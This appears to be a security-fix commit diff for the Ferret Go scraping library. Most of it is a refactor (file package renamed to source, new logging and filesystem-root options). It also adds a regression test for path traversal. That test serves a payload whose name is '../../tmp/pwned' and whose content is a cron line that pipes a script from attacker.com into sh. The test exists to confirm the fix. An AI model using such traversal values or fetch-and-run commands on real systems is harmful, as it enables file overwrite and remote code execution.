session.go+12 −2 modified@@ -8,6 +8,8 @@ import ( "sync/atomic" "github.com/MontFerret/ferret/v2/pkg/encoding" + "github.com/MontFerret/ferret/v2/pkg/fs" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" "github.com/MontFerret/ferret/v2/pkg/vm" ) @@ -32,6 +34,8 @@ type ( vm *vm.VM env *vm.Environment encoding *encoding.Registry + logger logging.Logger + fs fs.FileSystem release vmReleaseFunc outputContentType string closeOnce sync.Once @@ -50,8 +54,7 @@ func (s *Session) Run(c context.Context) (*Output, error) { return nil, fmt.Errorf("before run hooks: %w", err) } - ctx = encoding.WithRegistry(ctx, s.encoding) - out, err := s.vm.Run(ctx, s.env) + out, err := s.vm.Run(s.extendContext(ctx), s.env) // After-run hooks always run and receive the VM run error (if any). if hookErr := s.hooks.runAfterRunHooks(ctx, err); hookErr != nil { @@ -76,6 +79,13 @@ func (s *Session) Run(c context.Context) (*Output, error) { return output, nil } +func (s *Session) extendContext(ctx context.Context) context.Context { + ctx = s.logger.WithContext(ctx) + ctx = encoding.WithRegistry(ctx, s.encoding) + ctx = fs.WithFileSystem(ctx, s.fs) + return ctx +} + // Close releases the session's borrowed VM and runs close hooks. // It is idempotent and safe to call multiple times, including concurrently. func (s *Session) Close() error {
session_options.go+128 −0 added@@ -0,0 +1,128 @@ +package ferret + +import ( + "fmt" + "io" + "strings" + + encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json" + "github.com/MontFerret/ferret/v2/pkg/logging" + "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/vm" +) + +type ( + sessionOptions struct { + logger []logging.Option + outputContentType string + env []vm.EnvironmentOption + } + + SessionOption func(*sessionOptions) error +) + +func newSessionOptions(setters []SessionOption) (*sessionOptions, error) { + opts := &sessionOptions{ + outputContentType: encodingjson.ContentType, + } + + for _, setter := range setters { + if setter == nil { + continue + } + + if err := setter(opts); err != nil { + return nil, err + } + } + + return opts, nil +} + +func WithEnvironmentOptions(opts ...vm.EnvironmentOption) SessionOption { + return func(session *sessionOptions) error { + if session == nil { + return nil + } + + if len(opts) == 0 { + return nil + } + + for _, opt := range opts { + if opt == nil { + continue + } + + session.env = append(session.env, opt) + } + + return nil + } +} + +func WithOutputContentType(contentType string) SessionOption { + return func(session *sessionOptions) error { + if session == nil { + return nil + } + + trimmed := strings.TrimSpace(contentType) + if trimmed == "" { + return fmt.Errorf("output content type cannot be empty") + } + + session.outputContentType = trimmed + return nil + } +} + +func WithSessionParams(params runtime.Params) SessionOption { + return WithEnvironmentOptions(vm.WithParams(params)) +} + +func WithSessionParam(name string, value runtime.Value) SessionOption { + return WithEnvironmentOptions(vm.WithParam(name, value)) +} + +// WithSessionLog sets the writer for logging output. +// The writer can be any io.Writer, such as os.Stdout or a file. +func WithSessionLog(writer io.Writer) SessionOption { + return func(opts *sessionOptions) error { + if writer == nil { + return fmt.Errorf("log writer cannot be nil") + } + + opts.logger = append(opts.logger, logging.WithWriter(writer)) + + return nil + } +} + +// WithSessionLogLevel sets the logging level for the session. +// The logging level determines the severity of log messages that will be recorded. +func WithSessionLogLevel(lvl logging.LogLevel) SessionOption { + return func(opts *sessionOptions) error { + if lvl < logging.TraceLevel || lvl > logging.Disabled { + return fmt.Errorf("invalid log level: %v", lvl) + } + + opts.logger = append(opts.logger, logging.WithLevel(lvl)) + + return nil + } +} + +// WithSessionLogFields sets the fields to be included in log entries for the session. +// These fields can provide additional context for debugging and monitoring purposes. +func WithSessionLogFields(fields map[string]any) SessionOption { + return func(opts *sessionOptions) error { + if fields == nil { + return fmt.Errorf("log fields cannot be nil") + } + + opts.logger = append(opts.logger, logging.WithFields(fields)) + + return nil + } +}
test/benchmarks/bench_compiler_concat_test.go+3 −3 modified@@ -6,7 +6,7 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func BenchmarkCompilerCompileConcatChain_O1(b *testing.B) { @@ -21,13 +21,13 @@ func benchmarkCompileQuery(b *testing.B, query string, level compiler.Optimizati b.Helper() compilerInstance := compiler.New(compiler.WithOptimizationLevel(level)) - source := file.NewSource("concat_benchmark", query) + src := source.New("concat_benchmark", query) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { - if _, err := compilerInstance.Compile(source); err != nil { + if _, err := compilerInstance.Compile(src); err != nil { b.Fatalf("compile failed: %v", err) } }
test/e2e/cli.go+18 −17 modified@@ -19,9 +19,10 @@ import ( "github.com/MontFerret/ferret/v2/pkg/asm" "github.com/MontFerret/ferret/v2/pkg/compiler" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/formatter" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/rs/zerolog" @@ -237,7 +238,7 @@ var ( logLevel = flag.String( "log-level", - runtime.ErrorLevel.String(), + logging.ErrorLevel.String(), "log level", ) ) @@ -260,7 +261,7 @@ func main() { TimeFormat: "15:04:05.999", } logger = zerolog.New(console). - Level(zerolog.Level(runtime.MustParseLogLevel(*logLevel))). + Level(zerolog.Level(logging.MustParseLogLevel(*logLevel))). With(). Timestamp(). Logger() @@ -315,7 +316,7 @@ func main() { f := formatter.New() if query != "" { - err = formatQuery(f, file.NewSource("stdin", query)) + err = formatQuery(f, source.New("stdin", query)) } else { err = formatFiles(ctx, f, files) } @@ -338,7 +339,7 @@ func main() { } if query != "" { - err = runQuery(ctx, engine, sessionOptions, file.NewSource("stdin", query)) + err = runQuery(ctx, engine, sessionOptions, source.New("stdin", query)) } else { err = execFiles(ctx, engine, sessionOptions, files) } @@ -350,7 +351,7 @@ func main() { } } -func formatQuery(f *formatter.Formatter, query *file.Source) error { +func formatQuery(f *formatter.Formatter, query *source.Source) error { err := f.Format(os.Stdout, query) if err != nil { @@ -361,26 +362,26 @@ func formatQuery(f *formatter.Formatter, query *file.Source) error { } func formatFiles(ctx context.Context, f *formatter.Formatter, files []string) error { - return processFiles(ctx, files, "format", func(ctx context.Context, src *file.Source) error { + return processFiles(ctx, files, "format", func(ctx context.Context, src *source.Source) error { return formatQuery(f, src) }) } func execFiles(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, files []string) error { - return processFiles(ctx, files, "execute", func(ctx context.Context, src *file.Source) error { + return processFiles(ctx, files, "execute", func(ctx context.Context, src *source.Source) error { return runQuery(ctx, engine, opts, src) }) } -func runQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *file.Source) error { +func runQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *source.Source) error { if !(*dryRun) { return execQuery(ctx, engine, opts, query) } return analyzeQuery(query) } -func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *file.Source) error { +func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.SessionOption, query *source.Source) error { plan, err := engine.Compile(ctx, query) if err != nil { @@ -442,7 +443,7 @@ func execQuery(ctx context.Context, engine *ferret.Engine, opts []ferret.Session return nil } -func processFiles(ctx context.Context, files []string, op string, predicate func(ctx context.Context, src *file.Source) error) error { +func processFiles(ctx context.Context, files []string, op string, predicate func(ctx context.Context, src *source.Source) error) error { errList := make([]diagnostics.FormattableError, 0, len(files)) for _, path := range files { @@ -457,7 +458,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func errList = append(errList, &diagnostics.Diagnostic{ Kind: diagnostics.UnexpectedError, Message: "failed to get path info", - Source: file.NewSource("stdin", path), + Source: source.New("stdin", path), Cause: err, }) @@ -475,7 +476,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func errList = append(errList, &diagnostics.Diagnostic{ Kind: diagnostics.UnexpectedError, Message: "failed to retrieve list of files", - Source: file.NewSource("stdin", path), + Source: source.New("stdin", path), Cause: err, }) @@ -499,7 +500,7 @@ func processFiles(ctx context.Context, files []string, op string, predicate func errList = append(errList, &diagnostics.Diagnostic{ Kind: diagnostics.UnexpectedError, Message: fmt.Sprintf("failed to %s files", op), - Source: file.NewSource("stdin", path), + Source: source.New("stdin", path), Cause: err, }) } else { @@ -514,15 +515,15 @@ func processFiles(ctx context.Context, files []string, op string, predicate func log.Debug().Msg("path points to a file. starting to read content") - src, err := file.Read(path) + src, err := source.Read(path) if err != nil { log.Debug().Err(err).Msg("failed to read content") errList = append(errList, &diagnostics.Diagnostic{ Kind: diagnostics.UnexpectedError, Message: "failed to read content", - Source: file.NewSource("stdin", path), + Source: source.New("stdin", path), Cause: err, }) @@ -592,7 +593,7 @@ func printResult(_ context.Context, res *ferret.Output) (uint64, error) { return printer.size, err } -func analyzeQuery(query *file.Source) error { +func analyzeQuery(query *source.Source) error { beforeCompilation := "Before Compilation" compilation := "Compilation" afterCompilation := "After Compilation"
test/e2e/pages/dynamic/components/pages/events/pressable.js+0 −2 modified@@ -1,5 +1,3 @@ -import random from "../../../utils/random.js"; - const e = React.createElement; export default class PressableComponent extends React.PureComponent {
test/e2e/pages/dynamic/components/pages/iframes/index.js+1 −1 modified@@ -1,4 +1,4 @@ -import { parse } from '../../../utils/qs.js'; +import {parse} from '../../../utils/qs.js'; const e = React.createElement;
test/e2e/pages/dynamic/index.js+1 −1 modified@@ -1,5 +1,5 @@ import AppComponent from "./components/app.js"; -import { parse } from "./utils/qs.js"; +import {parse} from "./utils/qs.js"; const qs = parse(location.search);
test/integration/compiler/compiler_test.go+12 −12 modified@@ -10,13 +10,13 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestCompiler_Consts(t *testing.T) { c := compiler.New() - p, err := c.Compile(file.NewAnonymousSource(`VAR str = "" + p, err := c.Compile(source.NewAnonymous(`VAR str = "" str += " " + 1 + " " + 2 + " " + 3 + " " + 4 + " " + 5 @@ -49,9 +49,9 @@ func TestCompilerCompileConcurrentSharedCompiler(t *testing.T) { } t.Run("shared_sources", func(t *testing.T) { - sources := make([]*file.Source, 0, len(validQueries)) + sources := make([]*source.Source, 0, len(validQueries)) for i, query := range validQueries { - sources = append(sources, file.NewSource(fmt.Sprintf("shared_%d", i), query)) + sources = append(sources, source.New(fmt.Sprintf("shared_%d", i), query)) } runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error { @@ -69,14 +69,14 @@ func TestCompilerCompileConcurrentSharedCompiler(t *testing.T) { t.Run("fresh_sources", func(t *testing.T) { runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error { query := validQueries[(worker+iter)%len(validQueries)] - source := file.NewSource(fmt.Sprintf("fresh_%d_%d", worker, iter), query) + src := source.New(fmt.Sprintf("fresh_%d_%d", worker, iter), query) - program, err := compilerInstance.Compile(source) + program, err := compilerInstance.Compile(src) if err != nil { return fmt.Errorf("compile failed: %w", err) } - return assertCompiledProgram(program, source) + return assertCompiledProgram(program, src) }) }) @@ -119,7 +119,7 @@ RETURN wrap() t.Run("udf_isolation_shared_sources", func(t *testing.T) { type sharedSourceCase struct { - source *file.Source + source *source.Source spec struct { expectedHost map[string]int expectedUDFs int @@ -130,7 +130,7 @@ RETURN wrap() for i, query := range udfQueries { item := sharedSourceCase{ - source: file.NewSource(fmt.Sprintf("udf_shared_%d", i), query.query), + source: source.New(fmt.Sprintf("udf_shared_%d", i), query.query), } item.spec.expectedHost = query.expectedHost @@ -157,7 +157,7 @@ RETURN wrap() t.Run("udf_isolation_fresh_sources", func(t *testing.T) { runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error { query := udfQueries[(worker+iter)%len(udfQueries)] - source := file.NewSource(fmt.Sprintf("udf_fresh_%d_%d", worker, iter), query.query) + source := source.New(fmt.Sprintf("udf_fresh_%d_%d", worker, iter), query.query) program, err := compilerInstance.Compile(source) if err != nil { @@ -190,7 +190,7 @@ func TestCompilerCompileConcurrentInvalidQueries(t *testing.T) { t.Run("invalid_sources", func(t *testing.T) { runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error { query := invalidQueries[(worker+iter)%len(invalidQueries)] - source := file.NewSource(fmt.Sprintf("invalid_%d_%d", worker, iter), query) + source := source.New(fmt.Sprintf("invalid_%d_%d", worker, iter), query) program, err := compilerInstance.Compile(source) if err == nil { @@ -254,7 +254,7 @@ func maxInt(a, b int) int { return b } -func assertCompiledProgram(program *bytecode.Program, source *file.Source) error { +func assertCompiledProgram(program *bytecode.Program, source *source.Source) error { if program == nil { return fmt.Errorf("program is nil") }
test/integration/compiler/compiler_var_test.go+2 −2 modified@@ -6,8 +6,8 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/test/spec" . "github.com/MontFerret/ferret/v2/test/spec/compile" "github.com/MontFerret/ferret/v2/test/spec/compile/inspect" @@ -80,7 +80,7 @@ func TestVarSyntaxErrors(t *testing.T) { func TestVarCompoundAssignmentMissingValueDiagnosticSpan(t *testing.T) { src := "VAR x = 0\nx +=\nRETURN x" - _, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).Compile(file.NewSource("var_compound_span", src)) + _, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).Compile(source.New("var_compound_span", src)) if err == nil { t.Fatal("expected compilation error") }
test/integration/compiler/helpers_test.go+2 −2 modified@@ -6,14 +6,14 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func compileWithLevel(t *testing.T, level compiler.OptimizationLevel, expr string) *bytecode.Program { t.Helper() c := compiler.New(compiler.WithOptimizationLevel(level)) - prog, err := c.Compile(file.NewAnonymousSource(expr)) + prog, err := c.Compile(source.NewAnonymous(expr)) if err != nil { t.Fatalf("compile failed: %v", err) }
test/integration/vm/vm_member_test.go+2 −2 modified@@ -8,8 +8,8 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/sdk" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/stdlib" "github.com/MontFerret/ferret/v2/pkg/compiler" @@ -189,7 +189,7 @@ func TestMemberReservedWords(t *testing.T) { expected.WriteString(strconv.Itoa(idx)) expected.WriteString("}") - prog, err := c.Compile(file.NewAnonymousSource(query.String())) + prog, err := c.Compile(source.NewAnonymous(query.String())) if err != nil { t.Fatalf("compile failed: %v", err) }
test/integration/vm/vm_op_regex_test.go+3 −3 modified@@ -6,8 +6,8 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm" "github.com/MontFerret/ferret/v2/test/spec" . "github.com/MontFerret/ferret/v2/test/spec/exec" @@ -32,7 +32,7 @@ func TestRegexpOperator(t *testing.T) { t.Run("Should return an error during compilation when a regexp string invalid", func(t *testing.T) { _, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)). - Compile(file.NewAnonymousSource(` + Compile(source.NewAnonymous(` RETURN "foo" !~ "[ ]\K(?<!\d )(?=(?: ?\d){8})(?!(?: ?\d){9})\d[ \d]+\d" `)) @@ -55,7 +55,7 @@ func TestRegexpOperator(t *testing.T) { t.Run(r, func(t *testing.T) { _, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)). - Compile(file.NewAnonymousSource(fmt.Sprintf(` + Compile(source.NewAnonymous(fmt.Sprintf(` RETURN "foo" !~ %s `, r)))
test/integration/vm/vm_op_ternary_test.go+2 −3 modified@@ -5,8 +5,7 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" - + "github.com/MontFerret/ferret/v2/pkg/source" spec "github.com/MontFerret/ferret/v2/test/spec" . "github.com/MontFerret/ferret/v2/test/spec/exec" ) @@ -39,7 +38,7 @@ func TestTernaryOperator(t *testing.T) { val := val t.Run(val, func(t *testing.T) { - p, err := c.Compile(file.NewAnonymousSource(fmt.Sprintf(` + p, err := c.Compile(source.NewAnonymous(fmt.Sprintf(` FOR i IN [%s, 1, 2, 3] RETURN i ? i * 2 : 'no value' `, val)))
test/integration/vm/vm_op_unary_test.go+3 −3 modified@@ -6,7 +6,7 @@ import ( "github.com/MontFerret/ferret/v2/pkg/compiler" encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm" "github.com/MontFerret/ferret/v2/test/spec" . "github.com/MontFerret/ferret/v2/test/spec/exec" @@ -32,7 +32,7 @@ func TestUnaryOperators(t *testing.T) { t.Run("RETURN { enabled: !val }", func(t *testing.T) { c := compiler.New(compiler.WithOptimizationLevel(compiler.O0)) - p1, err := c.Compile(file.NewAnonymousSource(` + p1, err := c.Compile(source.NewAnonymous(` LET val = "" RETURN { enabled: !val } `)) @@ -62,7 +62,7 @@ func TestUnaryOperators(t *testing.T) { t.Fatalf("unexpected single negation output: got %s", string(out1)) } - p2, err := c.Compile(file.NewAnonymousSource(` + p2, err := c.Compile(source.NewAnonymous(` LET val = "" RETURN { enabled: !!val } `))
test/security/path_traversal_test.go+140 −0 added@@ -0,0 +1,140 @@ +package security + +import ( + "context" + "errors" + "fmt" + "net" + "net/http" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/MontFerret/ferret/v2" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/goccy/go-json" +) + +func TestPathTraversalVulnerability(t *testing.T) { + type Article struct { + Name string `json:"name"` + Content string `json:"content"` + } + + root := t.TempDir() + safeDir := filepath.Join(root, "safe", "ferret_output") + escapedPath := filepath.Join(root, "tmp", "pwned.txt") + escapedParent := filepath.Dir(escapedPath) + + if err := os.MkdirAll(safeDir, 0o755); err != nil { + t.Fatal(err) + } + + if err := os.MkdirAll(escapedParent, 0o755); err != nil { + t.Fatal(err) + } + + engine, err := ferret.New(ferret.WithFSRoot(safeDir)) + if err != nil { + t.Fatal(err) + } + + startServer := func(ctx context.Context, ln net.Listener) error { + mux := http.NewServeMux() + + mux.HandleFunc("/api/articles", func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.NotFound(w, r) + return + } + + payload := []Article{ + { + Name: "legit-article", + Content: "This is a normal article.", + }, + { + Name: "../../tmp/pwned", + Content: "ATTACKER_CONTROLLED_CONTENT\n# * * * * * root curl http://attacker.com/shell.sh | sh\n", + }, + } + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + + if err := json.NewEncoder(w).Encode(payload); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + } + }) + + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + http.NotFound(w, r) + }) + + srv := &http.Server{Handler: mux} + + go func() { + <-ctx.Done() + + shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + _ = srv.Shutdown(shutdownCtx) + }() + + err := srv.Serve(ln) + if errors.Is(err, http.ErrServerClosed) { + return nil + } + return err + } + + serverCtx, cancelServer := context.WithCancel(context.Background()) + defer cancelServer() + + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + + serverErrCh := make(chan error, 1) + go func() { + serverErrCh <- startServer(serverCtx, ln) + }() + + baseURL := "http://" + ln.Addr().String() + + _, err = engine.Run(context.Background(), source.NewAnonymous(fmt.Sprintf(` +LET response = IO::NET::HTTP::GET({url: "%s/api/articles"}) +LET articles = JSON_PARSE(TO_STRING(response)) + +FOR article IN articles + LET path = "%s/" + article.name + ".txt" + LET data = TO_BINARY(article.content) + IO::FS::WRITE(path, data) + RETURN { written: path, name: article.name } +`, baseURL, safeDir))) + + if err != nil && !strings.Contains(err.Error(), "path escapes from parent") { + t.Fatal(err) + } + + _, err = os.Stat(escapedPath) + + if err == nil { + t.Fatalf("path traversal vulnerability: write escaped intended directory and created %q", escapedPath) + } + + cancelServer() + + select { + case err := <-serverErrCh: + if err != nil { + t.Fatalf("server failed: %v", err) + } + case <-time.After(5 * time.Second): + t.Fatal("server did not shut down in time") + } +}
test/spec/bench_runner.go+2 −2 modified@@ -6,15 +6,15 @@ import ( "github.com/MontFerret/ferret/v2/pkg/asm" "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm/test" "github.com/MontFerret/ferret/v2/pkg/compiler" "github.com/MontFerret/ferret/v2/pkg/vm" ) func compileBenchmarkProgram(c *compiler.Compiler, expression string) *bytecode.Program { - prog, err := c.Compile(file.NewSource("benchmark", expression)) + prog, err := c.Compile(source.New("benchmark", expression)) if err != nil { panic(err)
test/spec/exec.go+3 −4 modified@@ -6,13 +6,12 @@ import ( "errors" "github.com/MontFerret/ferret/v2/pkg/bytecode" + "github.com/MontFerret/ferret/v2/pkg/compiler" ferretencoding "github.com/MontFerret/ferret/v2/pkg/encoding" encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json" encodingmsgpack "github.com/MontFerret/ferret/v2/pkg/encoding/msgpack" - "github.com/MontFerret/ferret/v2/pkg/file" - - "github.com/MontFerret/ferret/v2/pkg/compiler" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm" ) @@ -29,7 +28,7 @@ func Compile(expression string, level ...compiler.OptimizationLevel) (*bytecode. c := compiler.New(compiler.WithOptimizationLevel(oplevel)) - return c.Compile(file.NewSource("", expression)) + return c.Compile(source.New("", expression)) } func newTestContext() context.Context {
test/spec/format/runner.go+2 −2 modified@@ -5,8 +5,8 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/formatter" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/test/spec" ) @@ -29,7 +29,7 @@ func (r *Runner) Run(t *testing.T, specs []Spec) { var out strings.Builder exp := s.Base.Input.Expression - err := r.Formatter.Format(&out, file.NewSource("Test case", exp)) + err := r.Formatter.Format(&out, source.New("Test case", exp)) if err != nil { if s.Base.DebugOutput {
test/spec/input.go+2 −2 modified@@ -3,7 +3,7 @@ package spec import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) type ( @@ -84,5 +84,5 @@ func (i Input) ResolveProgram(name string, c *compiler.Compiler) (*bytecode.Prog return i.Source.Build(name, c) } - return c.Compile(file.NewSource(name, i.Expression)) + return c.Compile(source.New(name, i.Expression)) }
types.go+3 −3 modified@@ -2,11 +2,11 @@ package ferret import ( "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/logging" ) var ( - ParseLogLevel = runtime.ParseLogLevel - MustParseLogLevel = runtime.MustParseLogLevel + ParseLogLevel = logging.ParseLogLevel + MustParseLogLevel = logging.MustParseLogLevel FormatError = diagnostics.Format )
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917nvdPatchWEB
- github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4jnvdExploitMitigationVendor AdvisoryWEB
- github.com/advisories/GHSA-j6v5-g24h-vg4jghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-34783ghsaADVISORY
News mentions
0No linked articles in our index yet.